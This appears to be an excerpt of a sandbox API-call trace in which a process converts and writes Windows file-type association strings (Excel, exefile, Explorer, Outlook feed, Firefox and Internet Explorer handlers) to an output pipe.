	[0058.242] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excel.Backup=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.Backup=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 80
	[0058.242] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x4f, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x4f, lpOverlapped=0x0) returned 1
	[0058.242] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.242] GetFileType (hFile=0x5c) returned 0x3
	[0058.242] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.242] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excel.Chart=C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.Chart=C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 77
	[0058.242] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x4c, lpOverlapped=0x0) returned 1
	[0058.242] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.242] GetFileType (hFile=0x5c) returned 0x3
	[0058.242] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.242] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excel.Chart.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.Chart.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 81
	[0058.242] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x50, lpOverlapped=0x0) returned 1
	[0058.243] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.243] GetFileType (hFile=0x5c) returned 0x3
	[0058.243] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.243] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excel.CSV=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.CSV=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 77
	[0058.243] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x4c, lpOverlapped=0x0) returned 1
	[0058.243] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.243] GetFileType (hFile=0x5c) returned 0x3
	[0058.243] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.243] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excel.Macrosheet=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.Macrosheet=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 84
	[0058.243] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x53, lpOverlapped=0x0) returned 1
	[0058.243] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.243] GetFileType (hFile=0x5c) returned 0x3
	[0058.243] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.243] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excel.OpenDocumentSpreadsheet.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.OpenDocumentSpreadsheet.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 100
	[0058.243] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x63, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x63, lpOverlapped=0x0) returned 1
	[0058.243] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.243] GetFileType (hFile=0x5c) returned 0x3
	[0058.243] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.244] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excel.Sheet.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.Sheet.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 82
	[0058.244] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x51, lpOverlapped=0x0) returned 1
	[0058.244] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.244] GetFileType (hFile=0x5c) returned 0x3
	[0058.244] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.244] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excel.Sheet.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.Sheet.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 81
	[0058.244] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x50, lpOverlapped=0x0) returned 1
	[0058.244] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.244] GetFileType (hFile=0x5c) returned 0x3
	[0058.244] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.244] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excel.SheetBinaryMacroEnabled.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.SheetBinaryMacroEnabled.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 100
	[0058.244] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x63, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x63, lpOverlapped=0x0) returned 1
	[0058.244] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.244] GetFileType (hFile=0x5c) returned 0x3
	[0058.244] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.244] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excel.SheetMacroEnabled.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.SheetMacroEnabled.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 94
	[0058.244] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x5d, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x5d, lpOverlapped=0x0) returned 1
	[0058.245] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.245] GetFileType (hFile=0x5c) returned 0x3
	[0058.245] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.245] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excel.SLK=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.SLK=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 77
	[0058.245] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x4c, lpOverlapped=0x0) returned 1
	[0058.245] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.245] GetFileType (hFile=0x5c) returned 0x3
	[0058.245] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.245] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excel.Template=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.Template=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 82
	[0058.245] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x51, lpOverlapped=0x0) returned 1
	[0058.245] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.245] GetFileType (hFile=0x5c) returned 0x3
	[0058.245] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.245] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excel.Template.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.Template.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 84
	[0058.245] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x53, lpOverlapped=0x0) returned 1
	[0058.245] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.245] GetFileType (hFile=0x5c) returned 0x3
	[0058.245] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.245] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excel.TemplateMacroEnabled=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.TemplateMacroEnabled=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 94
	[0058.245] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x5d, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x5d, lpOverlapped=0x0) returned 1
	[0058.246] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.246] GetFileType (hFile=0x5c) returned 0x3
	[0058.246] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.246] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excel.UriLink.16=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.UriLink.16=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 92
	[0058.246] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x5b, lpOverlapped=0x0) returned 1
	[0058.246] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.246] GetFileType (hFile=0x5c) returned 0x3
	[0058.246] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.246] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excel.Workspace=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.Workspace=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 83
	[0058.246] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x52, lpOverlapped=0x0) returned 1
	[0058.246] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.246] GetFileType (hFile=0x5c) returned 0x3
	[0058.246] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.246] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excel.XLL=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.XLL=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 77
	[0058.246] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x4c, lpOverlapped=0x0) returned 1
	[0058.246] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.246] GetFileType (hFile=0x5c) returned 0x3
	[0058.247] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.247] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excelhtmlfile=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excelhtmlfile=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\"\r\n", lpUsedDefaultChar=0x0) returned 76
	[0058.247] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x4b, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x4b, lpOverlapped=0x0) returned 1
	[0058.247] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.247] GetFileType (hFile=0x5c) returned 0x3
	[0058.247] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.247] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excelhtmltemplate=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excelhtmltemplate=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\"\r\n", lpUsedDefaultChar=0x0) returned 80
	[0058.247] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x4f, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x4f, lpOverlapped=0x0) returned 1
	[0058.247] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.247] GetFileType (hFile=0x5c) returned 0x3
	[0058.247] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.247] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="exefile=\"%1\" %*\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exefile=\"%1\" %*\r\n", lpUsedDefaultChar=0x0) returned 18
	[0058.247] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x11, lpOverlapped=0x0) returned 1
	[0058.247] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.247] GetFileType (hFile=0x5c) returned 0x3
	[0058.247] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.247] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Explorer.AssocProtocol.search-ms=%SystemRoot%\\Explorer.exe /separate,/idlist,%I,%L\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Explorer.AssocProtocol.search-ms=%SystemRoot%\\Explorer.exe /separate,/idlist,%I,%L\r\n", lpUsedDefaultChar=0x0) returned 85
	[0058.247] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x54, lpOverlapped=0x0) returned 1
	[0058.248] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.248] GetFileType (hFile=0x5c) returned 0x3
	[0058.248] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.248] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="FaxCover.Document=%systemroot%\\system32\\fxscover.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FaxCover.Document=%systemroot%\\system32\\fxscover.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 60
	[0058.248] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x3b, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x3b, lpOverlapped=0x0) returned 1
	[0058.248] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.248] GetFileType (hFile=0x5c) returned 0x3
	[0058.248] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.248] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="feed=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /share \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feed=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /share \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 81
	[0058.248] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x50, lpOverlapped=0x0) returned 1
	[0058.249] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.249] GetFileType (hFile=0x5c) returned 0x3
	[0058.249] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.249] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="feeds=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /share \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feeds=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /share \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 82
	[0058.249] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x51, lpOverlapped=0x0) returned 1
	[0058.249] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.249] GetFileType (hFile=0x5c) returned 0x3
	[0058.249] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.249] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="FirefoxHTML=\"C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe\" -osint -url \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FirefoxHTML=\"C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe\" -osint -url \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 84
	[0058.249] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x53, lpOverlapped=0x0) returned 1
	[0058.249] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.249] GetFileType (hFile=0x5c) returned 0x3
	[0058.249] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.249] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="FirefoxURL=\"C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe\" -osint -url \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FirefoxURL=\"C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe\" -osint -url \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 83
	[0058.249] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x52, lpOverlapped=0x0) returned 1
	[0058.250] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.250] GetFileType (hFile=0x5c) returned 0x3
	[0058.250] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.250] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Folder=%SystemRoot%\\Explorer.exe\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Folder=%SystemRoot%\\Explorer.exe\r\n", lpUsedDefaultChar=0x0) returned 35
	[0058.250] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x22, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x22, lpOverlapped=0x0) returned 1
	[0058.250] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.250] GetFileType (hFile=0x5c) returned 0x3
	[0058.250] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.250] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ftp=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ftp=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" %1\r\n", lpUsedDefaultChar=0x0) returned 65
	[0058.250] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x40, lpOverlapped=0x0) returned 1
	[0058.251] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.251] GetFileType (hFile=0x5c) returned 0x3
	[0058.251] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.251] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="giffile=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="giffile=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n", lpUsedDefaultChar=0x0) returned 74
	[0058.251] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x49, lpOverlapped=0x0) returned 1
	[0058.251] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.252] GetFileType (hFile=0x5c) returned 0x3
	[0058.252] _get_osfhandle (_FileHandle=1) returned 0x5c
